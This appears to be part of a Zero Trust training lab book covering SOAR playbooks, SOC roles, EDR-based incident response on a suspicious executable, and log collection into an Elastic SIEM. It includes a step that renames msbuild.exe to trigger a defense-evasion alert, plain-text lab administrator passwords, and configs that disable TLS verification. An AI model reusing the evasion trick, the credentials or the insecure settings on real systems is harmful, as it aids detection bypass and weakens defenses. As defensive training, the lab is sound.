🗸 🖧 Hooker	e
Webhook connector	Add connector
Hooker	~
Body	3
<pre></pre>	

Every time this alert is generated, it sends a Web Request with information about the alert to a service currently listening on our network. These Web Request can be modified to support API calls and integrate with other services for automated response. The greater your automated response, the faster you can react to adversarial activity and the more efficient you can manage a Zero Trust environment.

Add connector

Click the **Add connector** button to view the type of Web POST or PUT requests you can send. **Exit** and **don't save** the connector.

The webhooks may or may not be interoperable with different capabilities. In most cases, you may need to utilize a SOAR that handles all of the integrations, but this specific example allows you to understand the power of automated actions based on rules.

Next, **open** a **web browser** to <u>https://10.91.0.9</u> and **login** to the XSOAR with the username **admin** and the password **ch00\$3tHeR3dP1II**!

\leftarrow	· C 🍙	ぐढ़∘∽	https:// 10.91.0.9 /#	‡/home/dashl				
🌂 Kali I	Linux 🔒 Kali Tools 🧧	Kali Docs Xali Fo	orums 🛛 💐 Kali NetH	lunter 🛸 Exp	ploit-DB 🏾 🐀 Google Hacking	DB 📕 OffSec		
	Dashboards							
EDEE	DASHBOARDS REF	PORTS						
	My Dashboard	My Threat Landscape	System Health	SLA	Troubleshooting Playbooks	Incidents	API Execution Metrics	Cost Optimization Pla
~	Date Range	(Refresh every	10 minutes 🛛 last re
	i Last 7 days ▼	Start typing to filter	the dashboard. Type	space to invoke	auto-suggest			
	Mentions No results found				0 My Incidents		0 Late Incidents	My Tasks
					ing mendents			
					My Mean Time to Resolu	ution)0 : 00	: 00	
(1)						ays Hours	Min	
	My Active Incident	ts by Type						
÷								
₽ \$	0							
3	16 Dec 2022	17 Dec 2022	18 Dec 2022	19 Dec 202	2 20 Dec 2022	21 Dec 2022	22 Dec 2022 23 De	ec 2022

Next, click on the Playbooks button on the bottom left:



Next scroll down until you see Block IP – Generic V2 and click on it:



To the right, you will see the playbook actions in a flowchart format:



Getting an understanding of how you currently operate, how long your current tasks take, and what manual actions your analysts are conducting will go a long way in helping you develop your playbooks and create efficient playbooks to improve your organization's reaction time, effectiveness, and free up time for additional security functions.

Feel free to take some time to look at the different playbooks. We aren't going to cover the integration steps of the SOAR in this lab, but I want to provide an overview for the student to gain the concept of how powerful a SOAR can be and it's importance in Zero Trust.

6.6 Automation and Orchestration Pillar Lesson 6 (API Standardization) (Future Course)

Future Course

6.7 Automation and Orchestration Pillar Lesson 7 (Security Operations Center (SOC) & Incident Response (IR))

Background

Per the DoD ZT Capabilities and Activities: In the event a CNDSP does not exist, DoD organizations define and stand up SOCs to deploy, operate, and maintain security monitoring, protections and response for DAAS; SOCs provide security management visibility for status (upward visibility) and tactical implementation (downward visibility).

Prior to attempting the lab, please review Course Slides "Pillar 6 Automation and Orchestration Pillar".

Outcomes

- 1) The student will gain an understanding of security operations centers.
- 2) Student will conduct incident response utilizing EDR/XDR solutions.

Lab Infrastructure

Required Lab Machines:

Function	Hostname	IP Address	VLAN	Passwords
Domain Controller	ZTLabDC1	10.91.0.10	91	DoD_Admin: ch00\$3tHeR3dP1ll!
Windows Student	ZTWinStudentXX	YourlP	91	

Duration: 30 Minutes

Task

6.7.1 Security Operations Center (SOC) Functions

Example Division SOC:

UNCLASSIFIED//FOUO

CSO Manning: Division Manning (G6 Option Large SOC)



When standing up a Security Operations Center (SOC) it is important to identify key components such as personnel assigned, and the mission, scope and responsibilities of that SOC.

Above is a screenshot that assumes you have 7 Warrant Officers and 12 Non-Commissioned Officers as members of the organization and have responsibilities of providing Network Security, Host Security, Analytics and Infrastructure and Auditing and Assessment. The SOC has Zero Trust responsibilities in order to support the organization with Zero Trust efforts. The 255N's and 255A's and their NCO counterparts also have a major role in Zero Trust efforts.

Normally, you will have different roles in a SOC.

SOC Analysts: are responsible for addressing events and responding to them on a daily basis. There are usually tier 1 analysts and tier 2 and tier 3 analysts who respond to greater threats and provide assistance to junior analysts. Analysts also update threat signatures and assist with tuning security events.

SOC Security Engineers: Responsible for the functioning of security capabilities in the environment and continued improvement.

SOC Security Architects: Design the overall security architecture and provide guidance to the engineers on how their capabilities will interoperate and how they will function as Zero Trust.

SOC Infrastructure Support: Responsible for ensuring the hardware and software are functioning according to best business practices and are responsible for updating and securing the security architecture itself.

SOC Security Auditors: Responsible for being the checks and balances of the security architecture and providing purple teaming, red teaming and vulnerability assessments to continuously improve the environment.

6.7.2 Conducting Incident Response with XDR/EDR Solutions

Login to your windows system with the username DoD_Admin and the password ch00\$3tHeR3dP1II!

Login to the **Endgame web interface** at <u>https://10.91.0.3</u> with the username **admin** and password **ch00\$3tHeR3dP1II**!

We are going to conduct incident response on your system. Start by **click**ing on the **Endpoints** Tab:



Next, click on your system name:

E.	E	ndpoint Details	
	z	TWIN10Student1	Take Action
۲		IP Address:	10.91.1.22
		Status:	Active since 09:57 PM UTC
A		0S:	Windows 10 (v1809)
4		Groups:	-
-12		Policy:	• <u>Successful</u>
\$		Active Directory Distinguished Name:	CN=ZTWIN10STUDENT1,CN=Computers,DC=zt,DC=I ocal
	A	ctivity Timeline	Filter By: All
	• 3	Dec 23, 2022 :13:44 PM UTC	Sensor Collection

Next, click Take Action and Start Investigation:

reate Investigation Pro	file	Save Profile Use Existing Profi
nce a profile is entered, select electing the View Investigatio	the Create Investigation button to star I link, or directly on the Investigation Lis	t your investigation. You can then view progress b st.
(Optional)	Enter Investigation Name	
ASSIGN TO	Me (Super Admin)	Find User
SELECTED HUNTS	Manage Hunt(s)	Hunt Types Selected

Give it an investigation name of your **student number** for your system and **click** on **Manage Hunt(s)**:

		INVESTIGATION e your profile and launch your hunts.
Selecting Hunt(s)		
Select the hunt type(s) you want	to task on the en	dpoints selected.
HUNT TYPE		
Applications		^
File System	ADVANCED	
Firewall Rules		
IOC Search	ADVANCED	
Loaded Drivers		
Network	ADVANCED	
Persistence	ADVANCED	No advanced configuration has currently been
Process	ADVANCED	expanded.
Registry	ADVANCED	
Removable Media		~
Cancel		Confirm Hunts

Check Highlight Applications, File System, Firewall Rules, IOC Search, Loaded Drivers, Network, Persistence, Process, Removable Media, System Configuration and Media.

Under File System, choose the following:

			ADVANCED CONFIGURATION	
Applications		^	ADVANCED CONFIGURATION	
✓ File System	COLLAPSE		Directory C:	
✓ Firewall Rules				
✓ IOC Search	ADVANCED		Directories Only	
✓ Loaded Drivers			Search Depth	
✓ Network	ADVANCED		3	Ŷ
✓ Persistence	ADVANCED		Metadata	
✓ Process	ADVANCED		Collect Metadata (Timestamps, Size)	
Registry	ADVANCED		Collect Hashes	
Under IOC Search choose the following SHA256 Hash given to you by an analyst from another organization:

1B12248EB1147EAA0191FDDB3CEB940C743CB495ACE6B0A95181F694C682AE6F



Next, click on Confirm Hunts:

START	INVESTIGATION

Configure your profile and launch your hunts

Create Investigation Pro	file	Save Profile Use Existing Profile
Dnce a profile is entered, select select selecting the View Investigatio	the Create Investigation buttor n link, or directly on the Investig	n to start your investigation. You can then view progress by ation List.
INVESTIGATION NAME (Optional)	Student01	
ASSIGN TO	Me (Super Admin)	Find User
SELECTED HUNTS What is this?	Manage Hunt(s)	11 Hunt Types Selected
Cancel		Create Investigation

You should see 11 Hunt Types Selected. Now **click** on **Create Investigation** and then **View Investigation**:



You should now see the following Investigation:

Investigation Details	Image: Constraint of the second se	uper 10:38 PM UTC
Hunt Overview Archive Investigation Name	Download Tasking Config SELECT HUNT TYPE: Persistence V Custom V	iew 🗸
Student01		
Assigned To	Full Path V AND: N/A Visual Selector	O Results Shown
Super Admin	20% 40% 60% 80% 100%	
Date Created	Full Path	<u>ENDPOINT</u>
Dec 23, 2022 10:34:26 PM UTC	There are no results	
File System 0% 0/1 Removable Media 100% 1/1 System Configuration 100% 1/1	0 Percent of Endpoints Data Collected: Dec 23, 2022 10:34:26 PM UTC	
Applications	E CONTRACTOR OF CONTRACTOR OFO	7
Network 100% 1/1 Users	You are currently viewing a Persistence hunt type. Modify the dropdowns above to display different distribution anomalous activity below. The interactive graph acts as a filter for the Visual Selector List located to the right. Select a row from the list to see the endpoint breakout. We have also run 12 detection analytics for you. Select the analytic in the dropdown above.	
100% 1/1	L	

You can look at each of the 11 hunts under select hunt type at the top next to custom view. Choose the Network Hunt type and look at the network connections:

						As 😳	k Artemis	Welcome, Super Dec 23, 2022 10:41 PM UTC
	Download Tasking Config	ı.		SELE	CT HUNT TYPE:	Network	~	Custom View 🗸 🗸
R	Remote Address	~ AND	: N/A	~	Visual Selec	tor		5 Results Shown
	20 5	0% 40% ●	60%	80% 100%	REMOTE AD	DRESS		ENDPOINT
	4 -				Sec.0.0.0			1
	ences				s, (::)			1
	20001				Same 127.0.0.			1
	2 - Plane				San 10.91.0.	8		1
					§ 10.91.0.	3		1
	0 Percent of Endp	pints D	ata Collected: Dec 23, 2	022 10:34:26 PM UTC				
	ENDPOINT	REMOTE ADDRESS	REMOTE PORT	LOCAL ADDRESS	LOCAL PORT	PROTOCOL	PORT STATUS	PATH
	ZTWIN10Student1	10.91.0.3	443	10.91.1.22	53523	tcp	ESTABLISHED	C:\Program Files\Endgame\ esensor.exe
	ZTWIN10Student1	10.91.0.3	443	10.91.1.22	53601	tcp	ESTABLISHED	C:\Program Files\Mozilla Firefox \firefox.exe

Now look at the persistence and services

It will take some time for the IoC Search - File to complete and the Full File Search.

While you are waiting for it to finish, experiment with the interface:



While you are looking at the Process hunt, look at the two drop down menu's on the left and choose different options to give you lots of hunt information about network connections, processes, persistence, and many other valuable incident response information to collect.

So far, we haven't found anything that is malicious, however lets wait and see what the IoC Search comes up with.

In order to speed it up, go to the Investigations tab on the left, and choose **Student01**-**IoC File**. This has old information from the creation of the lab on a system identical to what you are using. **Click** on the **link to the investigation**:



Click on View results for this Hunt in search.

COLLECTION NAME	HOSTNAME	COLLECTION TYPE	<u>STATUS</u>	ENDPOINT IP
fileSearchResponse	ZTWIN10Student1	collection	success	10.91.1.22

Next click the fileSearchResponse link.

IoC Search - File Dec 23, 2022 10:50:25 PM	UTC	View Investigation	etails	Download Raw Data
				1- <u>1</u> of1 < >
FILENAME	FILE PATH	MD5	SHA1	
pockettanks.exe	C:\pki \pockettanks.exe	6227610dc2dc1f3fc2d5fb6421355f4d	758de0af4	1047d1e7206e65f6d198d8345c9d

Endgame identified the file as pockettanks.exe. Is this malicious? If you have access to the Internet, you could upload it to Virustotal to verify there. Another thing you can do is to utilize a forensics toolkit, or copy it over to a linux system for additional analysis.

Browse to the C:\pki\ folder and we are going to run a strings search against the pockettanks.exe program for initial hints..

PS C:\pki PS C:\pki	> cd C:\pki > dir				
Direct	tory: C:∖pki				
Mode	Last	WriteTime	Length	Name	
-a -a	9/15/2018 9/15/2018	7:28 AM 7:29 AM	278528 261712	haha.exe lol.exe	
-a	10/21/2022 11/8/2022	1:45 PM 10:06 PM	9 208384	lol.ps1 pockettanks.exe	

Enable SSH on your kali system by typing sudo service ssh start

Now on your Windows system, transfer your pockettanks.exe to your linux system:



scp .\pockettanks.exe username@IPaddress:/tmp

Now login to your kali system and do a strings search on pockettanks.exe:

<pre>(zerotrust@ ztkali)-[/tmp] strings pockettanks.exe</pre>
!This program cannot be run in DOS mode.
Rich}E
.text
`.rdata
0.wrir
PAYLOAD:
ExitProcess of By: All
VirtualAlloc
KERNEL32.dll
MZARUH
!This program cannot be run in DOS mode.

Some of the strings look suspicious:



This looks malicious. Don't delete the file yet. There are some other files in the same pki directory, are any of these malicious?

Now that you have conducted hunts on a system and found something that you believe to be malware, what would your next step be?

I would isolate the system if possible and run an IoC search Investigation on all of the other systems in my environment to identify further spread but do not do this in the lab.

Incident handling is an artform and takes experience. Zero Trust requires quick and precise incident response and incident handling to prevent adversarial actions.

7. Zero Trust Pillar 7- Visibility and Analytics

The Visibility and Analytics Zero Trust Pillar is critical in operating and maintaining a Zero Trust Architecture. It provides oversight to ZT policies and is responsible for detecting adversarial threat activity. The following DoD Activities will be covered to some extent in the following portion of this lab book and/or ZT Course Slides:

- Scale Considerations
- Log Parsing
- Log Analysis
- Threat Alerting
- Asset ID & Alert Correlation
- User/Device Baselines
- Implement Analytics Tools
- Establish User Baseline Behavior
- Baseline & Profiling
- UEBA Baseline Support
- Cyber Threat Intelligence Program
- Al-enabled Network Access
- AI-enabled Dynamic Access Control

7.1 Visibility and Analytics Pillar Lesson 1 (Traffic Logging)

Background

Per the DoD ZT Capabilities and Activities: DoD organizations collect and process all logs including network, data, application, device, and user logs and make those logs available to the appropriate Computer Network Defense Service Provider (CNDSP) or security operations center (SOC). Logs and events follow a standardized format and rules/analytics are developed as needed.

In the following Lab, the student will collect logs from different data sources within an organization and process them in a SIEM.

Outcomes

- 1) Student will collect logs from a Windows 10 system using Elastic WinLogBeat and send them to an Elastic SIEM.
- Student will collect logs from an Endgame Endpoint Detection and Response (EDR) Server and send them to an Elastic SIEM.

3) Student will collect logs from a Security Onion Intrusion Detection System and send them to an Elastic SIEM.

Lab Infrastructure

Required Lab Machines:

Function	Hostname	IP Address
Elastic	lab12345csim2	10.91.0.2
Endgame	lab12345csim1	10.91.0.3
Logstash + Kibana	lab12345csyi	10.91.0.4
Syslog Server	lab12345csya	10.91.0.5
Security Onion	ZTLabIDS	10.91.0.6
Domain Controller	ZTLabDC1	10.91.0.10
Score Server	ZTScore	10.91.0.11
Kali Box	ZTKali	Student
Windows Student	ZTWinStudentXX	Student

Duration: 60 - 90 Minutes

Task

Prior to attempting the lab, please review Course Slides "7.1 Pillar 7 Visibility and Analytics – Traffic Logging". You will have been given course materials that include slides and videos for each lesson.



7.1.1 Elastic Lab Architecture Based off of Army Tactical Fielding

The above diagram is a diagram for an Army Brigade that has been fielded Elastic. Division can use the same diagram, but the Brigade stacks from the MAIN CP would feed into a Division stack.

The majority of our local log ingestion will go to our Logstash/Kibana servers as well as the Filebeat/Syslog servers with Elasticsearch receiving the majority of logs from remote sites.

7.1.2 Collect Client logs with Winlogbeat

Login to the Windows Client machine that you just added to the domain with the credentials ZT\DoD_Admin with the password: ch00\$3tHeR3dP1II!

Press Windows Key + R and type \\ztlabdc1\ZT_Files into the box and press OK.



Copy the winlogbeat folder and paste it into C:\Program Files\

📙 🛃 📙 🚽 Program	n Files		5-52	
File Home Shar	e View			~ 🕐
← → × ↑ 📙 > T	'his PC → Local Disk (C:) → Program Files →	∨ ت	earch Program Files	Q
4 Quick accord	Name	Date modified Type	Size	
	Common Files	9/15/2018 12:42 AM File f	older	
Desktop 🗶	internet explorer	3/11/2019 11:32 PM File f	older	
👆 Downloads 🛛 🖈	Windows Defender	3/11/2019 11:32 PM File f	older	
🚆 Documents 🛛 🖈	Windows Defender Advanced Threat Pro	3/11/2019 11:32 PM File f	older	
📰 Pictures 🛛 🖈	Windows Mail	9/15/2018 12:33 AM File f	older	
👌 Music	Windows Media Player	3/11/2019 11:32 PM File f	older	
Videos	📙 Windows Multimedia Platform	9/15/2018 2:11 AM File f	older	
	windows nt	9/15/2018 12:42 AM File f	older	
ineDrive 🍊 🍊	Windows Photo Viewer	3/11/2019 11:32 PM File f	older	
This PC	Windows Portable Devices	9/15/2018 2:11 AM File f	older	
	Windows Security	9/15/2018 12:33 AM File f	older	
💣 Network		9/15/2018 12:33 AM File f	older	
	winlogbeat	10/17/2022 6:21 AM File f	older	
13 items				

In the Windows Search Bar, type "PowerShell" and open "Windows PowerShell ISE"

Best match	
Windows PowerShell ISE Desktop app	\rightarrow
Apps	
Windows PowerShell	>
Windows PowerShell ISE (x86)	>
Windows PowerShell (x86)	>
Settings	
H PowerShell Developer Settings	>
H Allow local PowerShell scripts to run without signing	>
 Replace Command Prompt with Windows PowerShell when using 	>
Search suggestions	
Powershell - See web results	>
✓ Powershell	

Change Directory to the winlogbeat folder you copied over.



Click File, and navigate to the winlogbeat.yml file in the C:\Program Files\winlogbeat directory. Ensure you change the file type to All Files.



Briefly look at the file starting at **line 10** to see which logs are being collected by winlogbeat. We are doing a default installation, but if you find that these logs are not enough to meet security needs, or if they are too much for your network load, you can make changes in this configuration file.

Now **scroll down to line 97** where it shows where winlogbeat will be outputting its data into. In this scenario, we will be shipping logs to the Elastic Logstash server. The ssl certificates were created with openssl during the Elastic Server creation and then copied over to the winlogbeat installation folder. It is highly suggested to use SSL in order to encrypt logging traffic to prevent adversaries from collecting log data in the clear.

Line 97 SHOULD be commented out:

97 #output.logstash: 98 # The Logstash hosts

Lines 146-159 should look like the following (Note, there are no ## symbols commenting them out):

```
146 setup.kibana:
147 host: "https://lab12345csyi.zt.local:5601"
     ssl.certificate: "C:\\Program Files\\winlogbeat\\cert.crt"
148
149 ssl.key: "C:\\Program Files\\winlogbeat\\key.key
150 ssl.verification_mode: none
151
152 output.elasticsearch:
153 hosts: ["https://lab12345csim2.zt.local:9200"]
154 protocol: "https
     ssl.certificate: "C:\\Program Files\\winlogbeat\\Cert.crt"
155
156 ssl.key: "C:\\Program Files\\winlogbeat\\Key.key
157 ssl.verification_mode: none
158 username: "winlogbeat_setup"
159 password: "password"
```

These certificates and accounts were created during the elastic installation.

Next, you will type .\winlogbeat.exe setup to setup winlogbeat



You should receive the above output.

Now, go back into the **winlogbeat.yml file** and **comment out lines 146 through line 159** and **remove the comments from line 97**.

```
97 butput.logstash:
98  # The Logstash hosts
```

146	#setup.kibana:
147	<pre># host: "https://lab12345csyi.zt.local:5601"</pre>
148	<pre># ssl.certificate: "C:\\Program Files\\winlogbeat\\cert.crt"</pre>
149	<pre># ssl.key: "C:\\Program Files\\winlogbeat\\key.key"</pre>
150	<pre># ssl.verification_mode: none</pre>
151	
152	#output.elasticsearch:
153	<pre># hosts: ["https://lab12345csim2.zt.local:9200"]</pre>
154	<pre># protocol: "https"</pre>
155	<pre># ssl.certificate: "C:\\Program Files\\winlogbeat\\Cert.crt"</pre>
156	<pre># ssl.key: "C:\\Program Files\\winlogbeat\\Key.key"</pre>
157	<pre># ssl.verification_mode: none</pre>
158	# username: "winlogbeat_setup"
159	# password: "password"

Don't forget to save the yml file after changes.

Next, you will type the command "**powershell.exe** – **ExecutionPolicy UnRestricted** – **File** .**Vinstall-service-winlogbeat.ps1**".



This installs the winlogbeat service.

Next, type .\winlogbeat.exe test config and press enter

```
PS C:\Program Files\winlogbeat> .\winlogbeat.exe test config
Config OK
```

And type .\winlogbeat.exe test output and press enter



Start the winlogbeat service by typing Start-Service winlogbeat



To verify that you are shipping logs successfully, you can do multiple things.

First, check the following hidden folder: C:\programData\winlogbeat\logs and open the latest winlogbeat file.

📙 🛃 📕 🖛 logs			– 🗆 ×
File Home Share	View		~ 🔞
← → × ↑ 🔤 « Loc	al Disk (C:) > ProgramData > winlogbeat	> logs → Č Search logs	م
A Quick access	Name	Date modified Type	Size
	📄 winlogbeat	10/17/2022 7:09 AM File	11 KB
Desktop 🖈	winlogbeat	10/17/2022 7:04 AM 1 File	11 KB
🔶 Downloads 🖈	winlogbeat.2	10/17/2022 6:50 AM 2 File	9 KB
🔮 Documents 🖈	winlogbeat	10/17/2022 6:47 AM 3 File	11 KB
📰 Pictures 🛛 🖈			
🔒 logs 🛛 🖈			
🎝 Music 🖈			
😽 Videos			
winlogbeat			
a OneDrive			
This PC			
4 items 1 item selected 10	0.2 KB		

Open the file with Notepad or PowerShell_ISE.

You should see connection to backoff established:

_pipeline_output] pipeline/output.go:151 Connection to backoff(async(tcp://lab12345csyi.zt.local:5048)) established g] log/log.go:184 Non-zero metrics in the last 30s {"monitoring": {"metrics": {"beat":{"cpu":{"system":{"ticks"

Preferrably, you can use your system of choice to browse to <u>https://lab12345cyi.zt.local:5601</u> (This is the Kibana Instance) and login as **elastic** with the password **ch00\$3eL@\$t1c**

Next select the "Hamburger on the top left" (3 horizontal lines) and **click** on **Discover** under the **Analytics** section.



Choose winlogbeat-* as the index.

winlogbeat-* $\,\,{\scriptstyle\checkmark}\,$

And **click** on the **Add Filter** button. You will then choose the "**agent.hostname**" field and the Operator value will be "**is**" with the Value being the **name of your system**. See example below, then press **Save**.

+ Add filter	
Edit filter	Edit as Query DSL
Field	Operator
agent.hostname	\sim is \sim
Value	
ZTWinStudent02	~
Create custom label?	
	Cancel Save

You should now be seeing your logs getting ingested into Elastic. Below is an example of what the output may look like.

🤣 elastic										0 🛯 😐
E D Discover 🗸								Options New	Open Share Inspect	Save
🗈 🗸 Search							KQL (O V	Last 4 hours	Show dates	ි <u>Refresh</u>
e agent.hostname: ZTWinStudent02 ×	+ Add	filter								
winlogbeat-* \vee	∞ ∈	202 hits								Chart options
Q Search field names		20								
Filter by type 0	×	10 5	_							
✓ Available fields	136	0 10:30	11:00	11:30	12:00	12:30	13:00	13:30	14:00	
Popular					Oct 17, 2022 @ 10:3	16:38.910 - Oct 17, 2022 @ 14:26:3	38.910			
t agent.hostname		Time 🗸	Document							
bi, 1		> Oct 17, 2022 @ 14:26:07.	601 agent.hostname: ZTWinS	tudent82 @timestamp: Oct 17,	2022 0 14:26:07.601 Oversion: 1 age	nt.ephemeral_id: 099a1970-1	f69e-4351-bf6a-a9ce91cee5db agent.id	: 2813207e-2886-412a-8fac-cbbf35	948793 agent.name: ZTWinStud	ient82
t_index			agent.type: winlogbeat	agent.version: 7.16.3 ecs.ve	ersion: 1.12.0 event.code: 1001 eve	nt.created: Oct 17, 2022 0	14:26:08.376 event.kind: event even	t.provider: Windows Error Report	ting host.architecture: x86_	64
🕖 _score			host.hostname: ZTWinSt	udent02 host.id: c74193e0-506	6-4064-a4c3-dacf0e1e816b host.ip: f	e80::5135:3e71:aa58:90d9, 1	0.91.0.23 host.mac: 00:50:56:af:52:6	b host.name: ZTWinStudent02.zt.	local host.os.build: 17763.3	179
t_type			host.os.family: window	s host.os.kernel: 10.0.17763.	379 (WinBuild.160101.0000) host.os.	name: Windows 10 Pro host.c	os.platform: windows host.os.type: w	indows host.os.version: 10.0 lo	og.level: information message	e: Fault
@timestamp			bucket , type 0 Event∣	kame: ServiceHang Response: No	t available Cab Id: 0 Problem signat	ure: P1: NcbService P2: ncb	service.dll P3: 10.0.17763.1 P4: 201	P5: 3 P6: P7: P8: P9: P10: Attac	hed files: \\?\C:\ProgramData	a\Microsoft

Congratulations you have collected winlogbeat data into an Elastic Siem.

This same step can be used to install winlogbeat on other devices. You can also utilize SCCM or other techniques to install winlogbeat remotely on multiple devices instead of manually installing it on every system. This is just a demo to show how it works.

7.1.3 Collecting Logs from an Endgame Endpoint Detection and Response (EDR) Server

The Endgame Agent has been installed during the Devices Pillar Lab. We are going to verify ingestion into the Elastic SIEM during this lab.

First, we are going to test alert functionality, do the following:

Open powershell and type the following: copy C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe lol.exe

Now try to execute lol.exe by typing .\lol.exe

Now **open the Endgame webpage**, click on the **Alerts button** on the left and then **click** on "**Adversary Behaviors**" You should see a Windows File Name mismatch alert.

0 alerts currently selected \checkmark						1 - <u>2</u> of 2 < >
ALERT TYPE	EVENT TYPE	ASSIGNEE	<u>0S</u>	IP ADDRESS	HOSTNAME	DATE CREATED
Defense Evasion Detection	Windows File Name Mismatch	Unassigned	Windows 10 (v1809)	10.91.0.23	ZTWinStudent02	Oct 17, 2022 3:15:40 PM UTC

MSbuild.exe is a windows native tool that adversaries utilize to bypass endpoint security tools and gain a command and control channel.

Next, login to Kibana <u>https://lab12345cyi.zt.local:5601</u> with the username **elastic** and the password **ch00\$3eL@\$t1c**

Go to the Discover tab and choose endgame-* instead of winlogbeat-*

```
endgame-* 🗸
```

Click Add Filter

Choose observer.hostname and select "is" and choose your hostname and hit save.

You should now see endgame data collected in the Elastic SIEM from your Windows Client.

This same step can be used to install Endgame on other devices. You can also utilize SCCM or other techniques to install Endgame remotely on multiple devices instead of manually installing it on every system. This is just a demo to show how it works.

7.1.4 Collecting Logs from a Security Onion Intrusion Detection System to feed a separate Elastic SIEM.

Open a Web browser to <u>https://10.91.0.6</u> and type the **username**: <u>zt@zt.local</u> with the password: **ch00S3tHeR3dP1II** briefly browse through the menus to gain an overview of what Security Onion provides with a packet capture solution, alerts, playbooks, dashboards and other features.

There is a lot of great data within Security Onion that can be utilized with the interface, but we also want this data to feed into our Elastic SIEM in order to be utilized with our other data sources for Zero Trust analytics and Machine Learning / AI functionality.

In order to achieve this, we will install Filebeat on Security Onion.

Security Onion already uses Filebeat in a containerized manner, which allows us to install a second version of Filebeat to collect logs.

Ssh into security onion by typing ssh <u>zerotrust@10.91.0.6</u> and type the password: **ch00\$3tHeR3dP1II!** when prompted

Next, type **sudo su –** to become root

Navigate to /etc/filebeat by typing cd /etc/filebeat

Type vi filebeat.yml

Look through the .yml file to get familiar with it and go to line 97 where you will see a similar configuration as you saw in winlogbeat.yml. We have configured filebeat to ship data to a specific Logstash server.

Press **ESC** and then :q and **Enter** to exit vi.

Navigate to the /etc/fliebeat/modules.d/ folder

cd modules.d and then type Is -Ia

This contains a list of configuration files for different logs that filebeat knows about. In our Security Onion Scenario, we want to collect **Suricata** and **Zeek** logs.

Type vi zeek.yml

You will see a lot of different zeek logs with the **enabled: true** and the **var.paths:["/nsm/zeek/logs/current/XXXX.log"]** These settings allow you to enable or disable certain logs, and it also allows you to specify the location where the logs are stored.

Press ESC and type :q and enter.

Type **Is –Ia /nsm/zeek/logs/current/** and this will show you the current logs that zeek has ingested.

Type vi suricata.yml

Suricata's yml file only contains a single enabled: option, which will either enable or disable all logs. In this case, we are using suricata specifically for alerts, so we will enable this and select the var.paths: ["/nsm/suricata/eve*"]

Press ESC and type :q and enter.

Type Is –Ia /nsm/suricata/ to see the .json alerts.

DO NOT RUN THE FOLLOWING COMMANDS AS THEY ARE ONLY NEEDED ONCE

In order to install filebeat, we executed the following commands:

rpm filebeat-7.16.3-x86_64.rpm

sudo filebeat modules enable zeek suricata

filebeat -c /etc/filebeat/filebeat.setup.yml setup -modules zeek suricata

systemctl start filebeat

After this was completed, we started seeing Security Onion logs populate into Elastic.

Next, login to Kibana <u>https://lab12345cyi.zt.local:5601</u> with the username **elastic** and the password **ch00\$3eL@\$t1c**

Go to triple horizontal lines and choose Discover under Analytics

Go to filebeat-* as the Index.

filebeat-* ~

You should now be seeing zeek and suricata logs in Elastic.

This concludes the labs for Lesson 7.1. There are numerous configuration options for ingesting logs. These are only examples to get the student to have familiarity and understand the concept of collecting logs and ingesting them into a SIEM.

For Zero Trust, you will need to be able to collect logs on all assets, users, data, and services across your organization. Just collecting all of the data in a single point can take a lot of time and will require unique configurations at times.

7.2 Visibility and Analytics Pillar Lesson 2 (Security Information and Event Management (SIEM))

Background

Per the DoD ZT Capabilities and Activities: CNDSPs/SOCs monitor, detect, and analyze data logged into a security information and event management (SIEM) tool

In the following Lab, the student will utilize a SIEM to perform common analysis functions required of a CNDSP or a SOC analyst.

Prior to attempting the lab, please review Course Slides "7.2 Pillar 7 Visibility and Analytics – Security Information and Event Management (SIEM)".

Outcomes

- 1) Student will gain a basic overview of a SIEM and the different analytics and visualization functions it can provide.
- 2) Student will enable alerting in the SIEM and will generate a basic test alert based on default signatures.
- 3) Student will create a custom signature to generate alerts based on malicious indicators.
- 4) Student will use the SIEM to create and manage incident cases.

Lab Infrastructure

Required Lab Machines:

Function	Hostname	IP Address		
Elastic	lab12345csim2	10.91.0.2		
Endgame	lab12345csim1	10.91.0.3		
Logstash + Kibana	lab12345csyi	10.91.0.4		
Syslog Server	lab12345csya	10.91.0.5		
Security Onion	ZTLabIDS	10.91.0.6		
Domain Controller	ZTLabDC1	10.91.0.10		
Score Server	ZTScore	10.91.0.11		
Kali Box	ZTKali	Student		
Windows Student	ZTWinStudentXX	Student		

Duration: 60 - 90 Minutes

Task

7.2.1 SIEM Functionality Overview

Login to Kibana <u>https://lab12345cyi.zt.local:5601</u> with the username **elastic** and the password **ch00\$3eL@\$t1c**

Click on the three horizontal lines and mouse over the Analytics Menu and click on Discover.

Home	
Analytics	\sim
Overview	
Discover	

The discover menu allows you to search each of your indexes for data and conduct Cyber hunt actions.

Click on the **grey rectangle** with a word in it that should be **index-*** where index is the selected index. Look at all the different indexes that you can search.

auditbeat-* contains audit log information about devices in your environment.

endgame-* contains Endpoint Detection and Response logs

filebeat-* contains logs collected through the use of the filebeat application. You will most likely see firewall logs, IDS and IPS logs as well as other devices you are collecting on.

metricbeat-* contains metrics based logs through the use of the metricbeat application

snmp-* and **snmptrap-*** contains snmp logs from the environment

winlogbeat-* contains windows client logs collected with winlogbeat

Briefly browse through the Availabile fields and see what data you can sort by. Some of the common fields to look at are the host.name or agent.name fields to identify specific systems. There are hundreds of fields that can be of use to identify activity.

You can also use the Search bar function: This allows you to type in keywords or specific strings that you may be looking for.



To the right of the search bar shows the dates that you are searching between so you can look at historical data if needed. The Refresh button will update the logs to show the latest time range you have selected.



Do a test search by typing in your IP address into the search field to see if you can get information about your system. If you aren't seeing anything, try a different index.



Click the > button on one of the entries to get more information about the log.



You can now look deeper into the log and gather additional information about the IP address.

Continue to spend 5 or 10 minutes using the Discover application to look at log data.

Next, press the **triple horizontal lines** and click on the **Dashboards** button beneath Discover.

Search for the [ESSP-TN] Endgame Dashbaord and click on it.

Dashboards		
Q [ESSP-TN] End		
Title	Description	Tags
[ESSP-TN] Endgame Dashboard	ESSP-TN Endgame Dashboard	ESSP

This is an Army tactical dashboard created by the PM. You should see something like the following:

ESSP-TN] Endgame Dashboard 0						Full screen Share	Clone	Ø Edit
Image: Search Image: Open state Image: Open state				KOL	🕲 🛩 Last 4 hours	Sho	w dates	C Refresh
Welcome to ESSF Khanall () Stack Monitoring Data Dashboards: Connections DNS Errewall SSL Endgame Winiog	Endgame Agents	Endgeme Alerts () Edd 24 Nors rounded to the Nord Fig. (mark) No results found	Funct Count by Types C	C T XX	Banto Sali Ban e Calue Par 10.00 10.30 10.00 nestang per 5 minutes	19-30	admin_logon Tie_delete_ev ipv4_discomm ipv4_connect image_load_e termination_e registry_modi file_overwrite creation_ever request_even file_rename_i	vent E ect_recel E fon_ateen E yvent E ty_ovent E ty_ovent E t,event E st E event E

